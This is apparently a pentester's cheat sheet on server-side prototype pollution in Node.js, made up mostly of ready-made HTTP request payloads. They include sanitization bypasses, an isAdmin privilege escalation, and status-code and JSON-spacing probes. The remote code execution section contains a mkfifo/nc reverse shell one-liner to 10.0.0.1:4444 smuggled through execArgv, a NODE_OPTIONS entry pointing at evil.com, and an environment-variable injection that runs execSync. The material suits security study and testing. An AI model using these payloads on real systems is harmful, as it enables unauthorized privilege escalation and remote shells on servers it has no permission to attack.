Prototype Pollution in Server-Side

Prototype Pollution is a JavaScript vulnerability that allows attackers to add arbitrary properties to global object prototypes. The vulnerability may exist in Node.js applications.

- [server-side](https://portswigger.net/web-security/prototype-pollution/server-side)
- [prototype-pollution-to-rce](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce)
- [SNYK-JS-MERGE-1040469](https://security.snyk.io/vuln/SNYK-JS-MERGE-1040469)

Investigation

If the properties is affected by our pollution, our polluted properties might be injected into the target object as follow.

POST /user/update HTTP/1.1
Host: example.com
...

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "foo": "bar"
    }
}

// Other option
{
    "name": "john",
    "email": "john@example.com",
    "constructor": {
        "prototype": {
            "foo": "bar"
        }
    }
}

// Bypass sanitization 1
{
    "name": "john",
    "email": "john@example.com",
    "__pro__proto__to__": {
        "foo": "bar"
    }
}

// Bypass sanitization 2
{
    "name": "john",
    "email": "john@example.com",
    "constconstructorructor": {
        "prototype": {
            "foo": "bar"
        }
    }
}

If our property is added into the target object as below, we can inject malicious property which leads to privilege escalation, reverse shell, so on.

{
    "name": "john",
    "email": "john@example.com",
    "isAdmin": false,
    "foo": "bar"
}


Privilege Escalation

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "isAdmin": true
    }
}


JSON Spaces Overriding

Inject the additional property whose key contains spaces, and send request.

POST /user/update HTTP/1.1

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "json spaces": 10
    }
}

In response, if indents is added at the json body as below, the polluted property affects the server.
To check that in Burp Suite, click Raw tab in HTTP response window.

{
            "name": "john",
            "email": "john@example.com",
            "json spaces": 10
}


Status Code Overriding

First off, cause syntax error deliberately by removing comma in the json body when sending POST request.

POST /user/update HTTP/1.1

{
    "name": "john"
    "email": "john@example.com"
}

Of course we receive the error response as json object that might contain "status" or "statusCode" like below.

{
    "error":{
        "status":500,
        "message":"Json parse error"
    }
}

Now we try to update the status code to arbitrary number (400-599) and observe if the status code will be changed.
We need to send correct json format at the time because we want to apply our payload.

POST /user/update HTTP/1.1

{
    "name": "john",
    "email": "john@example.com",
    "__proto__": {
        "status": 555
    }
}

Finally we can check if our polluted property affects the server status by sending the incorrect json format body again.

POST /user/update HTTP/1.1

{
    "name": "john"
    "email": "john@example.com"
}

If the server responses the error contains the modified status code, the vulnerability of the prototype pollution exists in the web server.

{
    "error":{
        "status":555,
        "message":"Json parse error"
    }
}


Remote Code Execution (RCE)

Reference: https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce

It may often occur in the child_process module in Node.

"__proto__": {
    "shell": "node",
    "NODE_OPTIONS": "--inspect=evil\"\".com"
}

RCE via child_process.spawn(), child_process.fork()

"__proto__": {
    "execArgv": [
        "--eval=require('child_process').execSync('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')"
]}

Overwrite Environment Variable

Below also can be achieved.

"constructor":{
    "prototype":{
        "env":{
            "xyz":"require('child_process').execSync('whoami').toString()"
        },
        "NODE_OPTIONS":"--require /proc/self/environ"
    }
}